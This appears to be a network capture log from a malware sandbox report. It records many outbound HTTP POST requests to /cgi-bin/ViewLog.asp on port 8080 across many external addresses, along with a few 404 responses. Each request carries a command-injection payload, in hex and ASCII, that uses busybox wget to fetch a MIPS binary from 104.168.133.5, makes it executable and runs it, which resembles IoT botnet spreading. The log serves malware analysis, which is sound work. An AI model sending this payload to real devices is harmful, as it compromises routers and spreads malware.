Nov 23, 2023 05:18:03.942224979 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
347	192.168.2.13	47558	31.136.9.118	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:50.951936960 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:51.526411057 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:52.646426916 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:55.078428030 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:59.686584949 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:08.646531105 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:27.078330994 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:03.942241907 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
348	192.168.2.13	45462	31.136.115.190	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:50.954190016 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:51.526410103 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:52.678407907 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:55.078430891 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:59.686597109 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:08.902365923 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:27.078315020 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:03.942259073 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
349	192.168.2.13	50738	94.120.224.212	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:50.991198063 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
350	192.168.2.13	48196	62.245.72.71	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:52.436985016 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:53.062493086 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.13	32948	94.65.233.180	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:53.673943043 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:53.897298098 CET	465	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 06:16:52 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.13	48146	94.122.197.137	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:53.675565958 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.13	34982	94.120.63.6	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:53.675709963 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.13	35066	94.120.211.210	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:53.675860882 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.13	55828	85.108.180.238	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:53.688119888 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:53.925810099 CET	465	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 07:16:52 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.13	58250	94.140.0.172	8080

Timestamp	Bytes transferred	Direction	Data
